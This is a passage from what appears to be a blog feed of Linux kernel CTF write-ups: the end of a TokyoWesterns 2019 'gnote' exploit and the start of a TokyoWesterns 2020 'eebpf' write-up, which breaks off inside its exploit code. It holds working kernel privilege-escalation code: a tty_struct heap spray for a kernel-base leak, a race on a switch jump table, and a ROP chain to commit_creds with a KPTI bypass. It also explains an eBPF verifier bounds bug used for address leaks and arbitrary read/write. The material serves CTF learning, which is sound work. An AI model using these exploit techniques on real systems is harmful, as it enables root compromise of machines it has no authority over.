  ++vuln_dev_added_count;
  request_t req = {.cmd = VULN_DEV_WRITE_CMD_ADD, .arg = size};
  write(vuln_fd, &amp;amp;req, sizeof(req));
}
void vuln_dev_select(uint64_t idx) {
  request_t req = {.cmd = VULN_DEV_WRITE_CMD_SELECT, .arg = idx};
  write(vuln_fd, &amp;amp;req, sizeof(req));
}

void* page_buf;
request_t* page_req;
cpu_set_t cpus[2];

uint64_t leak_kernel_base() {
  for (int cur_try = 0; cur_try &amp;lt;= VULN_DEV_MAX_NOTE_COUNT; ++cur_try) {
    int spray_fds[0x10];
    const int spray_obj_size = 0x2e0;
    const int spray_obj_count = sizeof(spray_fds) / sizeof(int);
    const int middle_idx = spray_obj_count / 2;
    for (int i = 0; i &amp;lt; spray_obj_count; ++i) {
      spray_fds[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_NOCTTY | O_RDONLY);
    }
    for (int i = 0; i &amp;lt; middle_idx; ++i) {
      close(spray_fds[i]);
    }
    vuln_dev_add(spray_obj_size);
    for (int i = middle_idx; i &amp;lt; spray_obj_count; ++i) {
      close(spray_fds[i]);
    }

    vuln_dev_select(cur_try);
    read(vuln_fd, page_buf, spray_obj_size);
    uint64_t maybe_tty_struct_ops = *(uint64_t*)(page_buf + 0x18);
    uint64_t maybe_kbase = maybe_tty_struct_ops - TTY_STRUCT_OPS_OFFSET;
    if ((maybe_kbase &amp;amp; 0xfffff) == 0 &amp;amp;&amp;amp; IS_KERNEL_BASE(maybe_kbase)) {
      return maybe_kbase;
    }
  }

  return (uint64_t)-1;
}

int do_race = 0;
int jump_table_idx;
void* race1(void* arg) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), arg)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
  while (do_race) {
    page_req-&amp;gt;cmd = VULN_DEV_WRITE_CMD_SELECT;
  }
}
void* race2(void* arg) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), arg)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
  const uint64_t const_jump_table_idx = jump_table_idx;
  while (do_race) {
    page_req-&amp;gt;cmd = const_jump_table_idx;
  }
}

void jump_at_jump_table_idx() {
  pthread_t th1;
  pthread_create(&amp;amp;th1, NULL, race1, &amp;amp;cpus[1]);
  pthread_t th2;
  pthread_create(&amp;amp;th2, NULL, race2, &amp;amp;cpus[1]);
  do_race = 1;
  page_req-&amp;gt;arg = 0;
  while (1) {
    page_req-&amp;gt;cmd = VULN_DEV_WRITE_CMD_SELECT;
    write(vuln_fd, page_buf, 0x1000);
  }
}

int main() {
  for (int i = 0; i &amp;lt; 2; ++i) {
    CPU_ZERO(&amp;amp;cpus[i]);
    CPU_SET(i, &amp;amp;cpus[i]);
  }
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;cpus[0])) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  save_state();

  vuln_fd = open(&amp;#34;/proc/gnote&amp;#34;, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open(/proc/gnote)&amp;#34;);
  }

  page_buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page_buf == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  page_req = (request_t*)page_buf;
  printf(&amp;#34;[*] page_buf addr: %p\n&amp;#34;, page_buf);

  uint64_t kernel_base = leak_kernel_base();
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);

  void* fake_jump_table =
      mmap(FAKE_JUMP_TABLE_ADDR, FAKE_JUMP_TABLE_SIZE, PROT_READ | PROT_WRITE,
           MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_POPULATE, -1, 0);
  if (fake_jump_table == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  for (uint64_t* cur = fake_jump_table;
       (void*)cur &amp;lt; fake_jump_table + FAKE_JUMP_TABLE_SIZE; ++cur) {
    *cur = kernel_base + MOV_ESP_0x5d000005_OFFSET;
  }
  printf(&amp;#34;[*] fake_jump_table addr: %p\n&amp;#34;, fake_jump_table);

  void* fake_stack =
      mmap(FAKE_STACK_ADDR - FAKE_STACK_SIZE / 2, FAKE_STACK_SIZE,
           PROT_READ | PROT_WRITE,
           MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_POPULATE, -1, 0);
  if (fake_stack == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  printf(&amp;#34;[*] fake_stack addr: %p\n&amp;#34;, fake_stack);

  printf(&amp;#34;[*] Build ROP Chain @ %p...\n&amp;#34;, fake_stack);
  uint64_t* rop_buf = FAKE_RSP;
  *rop_buf++ = kernel_base + POP_RDI_OFFSET;
  *rop_buf++ = 0;
  *rop_buf++ = kernel_base + PREPARE_KERNEL_CRED_OFFSET;
  *rop_buf++ = kernel_base + POP_RCX_OFFSET;
  *rop_buf++ = 0;
  *rop_buf++ = kernel_base + MOV_RDI_RAX_REQ_MOV_RDI_RSI_POP_RBP_OFFSET;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = kernel_base + COMMIT_CREDS_OFFSET;
  *rop_buf++ = kernel_base + BYPASS_KPTI_OFFSET;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = 0xdeadbeefcafebe02;
  *rop_buf++ = (uint64_t)(get_shell);  // user_rip
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);

  jump_table_idx = 0x200 + 0x7fffded;
  printf(&amp;#34;[*] jump_table_idx: 0x%08x\n&amp;#34;, jump_table_idx);
  puts(&amp;#34;[*] Do race condition attack at jump table used in switch...&amp;#34;);
  jump_at_jump_table_idx();

  close(vuln_fd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/TokyoWesterns/2019/gnote&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/TokyoWesterns/2019/gnote&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>TokyoWesternsCTF2020 eebpf</title>
      <link>/posts/kernel/write-ups/ctf/tokyowesternsctf2020-eebpf/</link>
      <pubDate>Tue, 28 Jan 2025 11:21:15 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/tokyowesternsctf2020-eebpf/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kernel version: &lt;code&gt;5.4.58&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;unprivileged_bpf_disabled: &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;patch-file&#34;&gt;Patch file&lt;/h3&gt;
&lt;p&gt;The important part is following:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;594782631&#34; type=&#34;checkbox&#34;  /&gt;
    &lt;label for=&#34;594782631&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;diff&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2020-eebpf-patch.diff&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-diff&#34; &gt;
      &lt;code&gt;diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/include/uapi/linux/bpf.h buildroot-2020.08-rc3_original/output/build/linux-5.4.58/include/uapi/linux/bpf.h
27d26
&amp;lt; #define BPF_ALSH	0xe0	/* sign extending arithmetic shift left */
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/tnum.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/tnum.c
42,52d41
&amp;lt; struct tnum tnum_alshift(struct tnum a, u8 min_shift, u8 insn_bitness)
&amp;lt; {
&amp;lt; 	if (insn_bitness == 32)
&amp;lt; 		//Never reach here now.
&amp;lt; 		return TNUM((u32)(((s32)a.value) &amp;lt;&amp;lt; min_shift),
&amp;lt; 			    (u32)(((s32)a.mask)  &amp;lt;&amp;lt; min_shift));
&amp;lt; 	else
&amp;lt; 		return TNUM((s64)a.value &amp;lt;&amp;lt; min_shift,
&amp;lt; 			    (s64)a.mask  &amp;lt;&amp;lt; min_shift);
&amp;lt; }
&amp;lt; 
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/verifier.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/verifier.c
4867,4897d4866
&amp;lt; 	case BPF_ALSH:
&amp;lt; 		if (umax_val &amp;gt;= insn_bitness) {
&amp;lt; 			/* Shifts greater than 31 or 63 are undefined.
&amp;lt; 			 * This includes shifts by a negative number.
&amp;lt; 			 */
&amp;lt; 			mark_reg_unknown(env, regs, insn-&amp;gt;dst_reg);
&amp;lt; 			break;
&amp;lt; 		}
&amp;lt; 
&amp;lt; 		/* Upon reaching here, src_known is true and
&amp;lt; 		 * umax_val is equal to umin_val.
&amp;lt; 		 */
&amp;lt; 		if (insn_bitness == 32) {
&amp;lt; 			//Now we don&amp;#39;t support 32bit. Cuz im too lazy.
&amp;lt; 			mark_reg_unknown(env, regs, insn-&amp;gt;dst_reg);
&amp;lt; 			break;
&amp;lt; 		} else {
&amp;lt; 			dst_reg-&amp;gt;smin_value &amp;lt;&amp;lt;= umin_val;
&amp;lt; 			dst_reg-&amp;gt;smax_value &amp;lt;&amp;lt;= umin_val;
&amp;lt; 		}
&amp;lt; 
&amp;lt; 		dst_reg-&amp;gt;var_off = tnum_alshift(dst_reg-&amp;gt;var_off, umin_val,
&amp;lt; 						insn_bitness);
&amp;lt; 
&amp;lt; 		/* blow away the dst_reg umin_value/umax_value and rely on
&amp;lt; 		 * dst_reg var_off to refine the result.
&amp;lt; 		 */
&amp;lt; 		dst_reg-&amp;gt;umin_value = 0;
&amp;lt; 		dst_reg-&amp;gt;umax_value = U64_MAX;
&amp;lt; 		__update_reg_bounds(dst_reg);
&amp;lt; 		break;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;And related location is following:&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kernel version: &lt;code&gt;5.4.58&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;unprivileged_bpf_disabled: &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;patch-file&#34;&gt;Patch file&lt;/h3&gt;
&lt;p&gt;The important part is following:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;594782631&#34; type=&#34;checkbox&#34;  /&gt;
    &lt;label for=&#34;594782631&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;diff&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2020-eebpf-patch.diff&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-diff&#34; &gt;
      &lt;code&gt;diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/include/uapi/linux/bpf.h buildroot-2020.08-rc3_original/output/build/linux-5.4.58/include/uapi/linux/bpf.h
27d26
&amp;lt; #define BPF_ALSH	0xe0	/* sign extending arithmetic shift left */
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/tnum.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/tnum.c
42,52d41
&amp;lt; struct tnum tnum_alshift(struct tnum a, u8 min_shift, u8 insn_bitness)
&amp;lt; {
&amp;lt; 	if (insn_bitness == 32)
&amp;lt; 		//Never reach here now.
&amp;lt; 		return TNUM((u32)(((s32)a.value) &amp;lt;&amp;lt; min_shift),
&amp;lt; 			    (u32)(((s32)a.mask)  &amp;lt;&amp;lt; min_shift));
&amp;lt; 	else
&amp;lt; 		return TNUM((s64)a.value &amp;lt;&amp;lt; min_shift,
&amp;lt; 			    (s64)a.mask  &amp;lt;&amp;lt; min_shift);
&amp;lt; }
&amp;lt; 
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/verifier.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/verifier.c
4867,4897d4866
&amp;lt; 	case BPF_ALSH:
&amp;lt; 		if (umax_val &amp;gt;= insn_bitness) {
&amp;lt; 			/* Shifts greater than 31 or 63 are undefined.
&amp;lt; 			 * This includes shifts by a negative number.
&amp;lt; 			 */
&amp;lt; 			mark_reg_unknown(env, regs, insn-&amp;gt;dst_reg);
&amp;lt; 			break;
&amp;lt; 		}
&amp;lt; 
&amp;lt; 		/* Upon reaching here, src_known is true and
&amp;lt; 		 * umax_val is equal to umin_val.
&amp;lt; 		 */
&amp;lt; 		if (insn_bitness == 32) {
&amp;lt; 			//Now we don&amp;#39;t support 32bit. Cuz im too lazy.
&amp;lt; 			mark_reg_unknown(env, regs, insn-&amp;gt;dst_reg);
&amp;lt; 			break;
&amp;lt; 		} else {
&amp;lt; 			dst_reg-&amp;gt;smin_value &amp;lt;&amp;lt;= umin_val;
&amp;lt; 			dst_reg-&amp;gt;smax_value &amp;lt;&amp;lt;= umin_val;
&amp;lt; 		}
&amp;lt; 
&amp;lt; 		dst_reg-&amp;gt;var_off = tnum_alshift(dst_reg-&amp;gt;var_off, umin_val,
&amp;lt; 						insn_bitness);
&amp;lt; 
&amp;lt; 		/* blow away the dst_reg umin_value/umax_value and rely on
&amp;lt; 		 * dst_reg var_off to refine the result.
&amp;lt; 		 */
&amp;lt; 		dst_reg-&amp;gt;umin_value = 0;
&amp;lt; 		dst_reg-&amp;gt;umax_value = U64_MAX;
&amp;lt; 		__update_reg_bounds(dst_reg);
&amp;lt; 		break;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;And related location is following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/tnum.c#L42&#34;&gt;&lt;code&gt;tnum_alshift&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L4866&#34;&gt;Add verification routine to &lt;code&gt;adjust_scalar_min_max_vals&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;As we can see, when we use &lt;code&gt;BPF_ALSH&lt;/code&gt;, &lt;code&gt;dst_reg-&amp;gt;smin_value &amp;lt;&amp;lt;= umin_val; dst_reg-&amp;gt;smax_value &amp;lt;&amp;lt;= umin_val;&lt;/code&gt; is executed.
And because type of &lt;code&gt;smin_value&lt;/code&gt; and &lt;code&gt;smax_value&lt;/code&gt; is &lt;code&gt;s64&lt;/code&gt;, we can make &lt;code&gt;smin_value &amp;gt; smax_value&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;making-invalid-range&#34;&gt;Making invalid range&lt;/h3&gt;
&lt;p&gt;My step for making invalid range is following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Load element from bpf_map (we call it &lt;code&gt;e&lt;/code&gt;)
&lt;ol&gt;
&lt;li&gt;Its actual value is 1.&lt;/li&gt;
&lt;li&gt;Its tnum may be (.val=0, .mask=0xffffffffffffffff).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Do &lt;code&gt;e&lt;/code&gt; &amp;amp; 0x1fffffffffffffff.
&lt;ol&gt;
&lt;li&gt;Its actual value is 1.&lt;/li&gt;
&lt;li&gt;Its tnum may be (.val=0, .mask=0x1fffffffffffffff).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Do left shift to &lt;code&gt;e&lt;/code&gt; by 3.
&lt;ol&gt;
&lt;li&gt;Its actual value is 8.&lt;/li&gt;
&lt;li&gt;Its tnum may be (.val=0, .mask=0xfffffffffffffff8).&lt;/li&gt;
&lt;li&gt;Its min and max value is 0 and 0xfffffffffffffff8.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Add 8 to &lt;code&gt;e&lt;/code&gt;.
&lt;ol&gt;
&lt;li&gt;It actual value is 0x10.&lt;/li&gt;
&lt;li&gt;Its min and max value is 8 and 0.
&lt;ol&gt;
&lt;li&gt;Explained later.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Add (.val=0, .mask=8; min=0, max=8) to &lt;code&gt;e&lt;/code&gt;.
&lt;ol&gt;
&lt;li&gt;Now &lt;code&gt;e&lt;/code&gt; has (actual_value, verification_value) = (0x10, 8).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Substract 8 from &lt;code&gt;e&lt;/code&gt;.
&lt;ol&gt;
&lt;li&gt;Now &lt;code&gt;e&lt;/code&gt; has (act_val, veri_val) = (8, 0).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;why-e8-does-make-min8-max0-&#34;&gt;Why &lt;code&gt;e&lt;/code&gt;+=8 does make min=8, max=0 ??&lt;/h4&gt;
&lt;p&gt;First, we check related functions (codes):&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;739216485&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;739216485&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2020-eebpf-addition_code_path.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// @ https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L4600
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                                      struct bpf_insn *insn,
                                      struct bpf_reg_state *dst_reg,
                                      struct bpf_reg_state src_reg) {
    // ...

  case BPF_ADD:
    ret = sanitize_val_alu(env, insn);
    if (ret &amp;lt; 0) {
      verbose(env, &amp;#34;R%d tried to add from different pointers or scalars\n&amp;#34;,
              dst);
      return ret;
    }
    if (signed_add_overflows(dst_reg-&amp;gt;smin_value, smin_val) ||
        signed_add_overflows(dst_reg-&amp;gt;smax_value, smax_val)) {
      // ...
    } else {
      dst_reg-&amp;gt;smin_value += smin_val;
      dst_reg-&amp;gt;smax_value += smax_val;
    }
    if (dst_reg-&amp;gt;umin_value + umin_val &amp;lt; umin_val ||
        dst_reg-&amp;gt;umax_value + umax_val &amp;lt; umax_val) {
      dst_reg-&amp;gt;umin_value = 0;
      dst_reg-&amp;gt;umax_value = U64_MAX;
    } else {
      // ...
    }
    dst_reg-&amp;gt;var_off = tnum_add(dst_reg-&amp;gt;var_off, src_reg.var_off);
    break;

    // ...

    __reg_deduce_bounds(dst_reg);
    __reg_bound_offset(dst_reg);
    return 0;
}

// @ https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/tnum.c#L62
struct tnum tnum_add(struct tnum a, struct tnum b) {
  u64 sm, sv, sigma, chi, mu;

  sm = a.mask + b.mask;
  sv = a.value + b.value;
  sigma = sm + sv;
  chi = sigma ^ sv;
  mu = chi | a.mask | b.mask;
  return TNUM(sv &amp;amp; ~mu, mu);
}

// @ https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L939
/* Uses signed min/max values to inform unsigned, and vice-versa */
static void __reg_deduce_bounds(struct bpf_reg_state *reg) {
  /* Learn sign from signed bounds.
   * If we cannot cross the sign boundary, then signed and unsigned bounds
   * are the same, so combine.  This works even in the negative case, e.g.
   * -3 s&amp;lt;= x s&amp;lt;= -1 implies 0xf...fd u&amp;lt;= x u&amp;lt;= 0xf...ff.
   */
  if (reg-&amp;gt;smin_value &amp;gt;= 0 || reg-&amp;gt;smax_value &amp;lt; 0) {
    reg-&amp;gt;smin_value = reg-&amp;gt;umin_value =
        max_t(u64, reg-&amp;gt;smin_value, reg-&amp;gt;umin_value);
    reg-&amp;gt;smax_value = reg-&amp;gt;umax_value =
        min_t(u64, reg-&amp;gt;smax_value, reg-&amp;gt;umax_value);
    return;
  }

  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;When add 8 to &lt;code&gt;e&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt; is (smin=umin=0, smax=umax=0xfffffffffffffff8; .val=0, .mask=0xfffffffffffffff8).
So and since &lt;code&gt;signed_add_overflows(dst_reg-&amp;gt;smin_value, smin_val) || signed_add_overflows(dst_reg-&amp;gt;smax_value, smax_val)&lt;/code&gt; is false and &lt;code&gt;dst_reg-&amp;gt;umin_value + umin_val &amp;lt; umin_val || dst_reg-&amp;gt;umax_value + umax_val &amp;lt; umax_val&lt;/code&gt; is true, &lt;code&gt;dst_reg-&amp;gt;smin_value += smin_val; dst_reg-&amp;gt;smax_value += smax_val;&lt;/code&gt; and &lt;code&gt;dst_reg-&amp;gt;umin_value = 0; dst_reg-&amp;gt;umax_value = U64_MAX;&lt;/code&gt; is executed.
Then, &lt;code&gt;e&lt;/code&gt; is (smin=8, smax=0, umin=0, umax=U64_MAX).&lt;/p&gt;
&lt;p&gt;And return value of &lt;code&gt;tnum_add&lt;/code&gt; is (.val=0, .mask=0xfffffffffffffff8).
So after &lt;code&gt;dst_reg-&amp;gt;var_off = tnum_add(dst_reg-&amp;gt;var_off, src_reg.var_off);&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt; is (smin=8, smax=0, umin=0, umax=U64_MAX; .val=0, .mask=0xfffffffffffffff8).&lt;/p&gt;
&lt;p&gt;But in &lt;code&gt;__reg_deduce_bounds&lt;/code&gt;, &lt;code&gt;reg-&amp;gt;smin_value &amp;gt;= 0 || reg-&amp;gt;smax_value &amp;lt; 0&lt;/code&gt; is true, &lt;code&gt;reg-&amp;gt;smin_value = reg-&amp;gt;umin_value = max_t(u64, reg-&amp;gt;smin_value, reg-&amp;gt;umin_value);&lt;/code&gt; and &lt;code&gt;reg-&amp;gt;smax_value = reg-&amp;gt;umax_value = min_t(u64, reg-&amp;gt;smax_value, reg-&amp;gt;umax_value);&lt;/code&gt; is performed.
Because &lt;code&gt;reg-&amp;gt;smin_value == 8&lt;/code&gt;, &lt;code&gt;reg-&amp;gt;umin_value == 0&lt;/code&gt;, &lt;code&gt;reg-&amp;gt;smax_value == 0&lt;/code&gt; and &lt;code&gt;reg-&amp;gt;umax_value == U64_MAX&lt;/code&gt;, register&amp;rsquo;s min and max value is set by &lt;code&gt;reg-&amp;gt;?min_value = max_t(u64, 8, 0)&lt;/code&gt; and &lt;code&gt;reg-&amp;gt;?max_value = min_t(u64, 0, U64_MAX)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Because of this reasons, after &lt;code&gt;e&lt;/code&gt;+=8, &lt;code&gt;e&lt;/code&gt; will be (min=8, max=0).&lt;/p&gt;
&lt;h3 id=&#34;leak-struct-bpf_map-address&#34;&gt;Leak &lt;code&gt;struct bpf_map&lt;/code&gt; address&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;adjust_ptr_min_max_vals&lt;/code&gt; function, if &lt;code&gt;off_reg-&amp;gt;smin_value &amp;gt; off_reg-&amp;gt;smax_value&lt;/code&gt;, the pointer is marked as unknown.
And the type of unknown register is scalar, we can leak its value.&lt;/p&gt;
&lt;p&gt;See followings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L4379&#34;&gt;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L4379&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L999&#34;&gt;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L999&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;aaraaw-primitives&#34;&gt;AAR/AAW primitives&lt;/h3&gt;
&lt;p&gt;We can use the technique using &lt;code&gt;bpf_skb_load_bytes&lt;/code&gt; because of scalar which has invalid range.
Using this techinuqe, we can set the value on stack without verification by using invalid &lt;code&gt;len&lt;/code&gt; argument.
Originally &lt;code&gt;bpf_skb_load_bytes&lt;/code&gt; changes values from &lt;code&gt;to&lt;/code&gt; to &lt;code&gt;to+len&lt;/code&gt;. So, the values are marked as unknown.
But with invalid &lt;code&gt;len&lt;/code&gt;, we can set values with marked as known (invalid verification).&lt;/p&gt;
&lt;p&gt;So, we can use this.&lt;/p&gt;
&lt;h3 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;276481593&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;276481593&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2020-eebpf-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

#define BPF_ALSH 0xe0

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81a0dec0 - KERNEL_BASE)
#define MODPROBE_OFFSET (0xffffffff81c2e800 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

int mapfd;
uint64_t map_addr;
static uint64_t leak_bpf_map_addr(int do_print_verifier_log) {
  char verifier_log[0x10000];

  uint64_t val = 0;
  bpf_map_update(mapfd, 0, &amp;amp;val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x8),
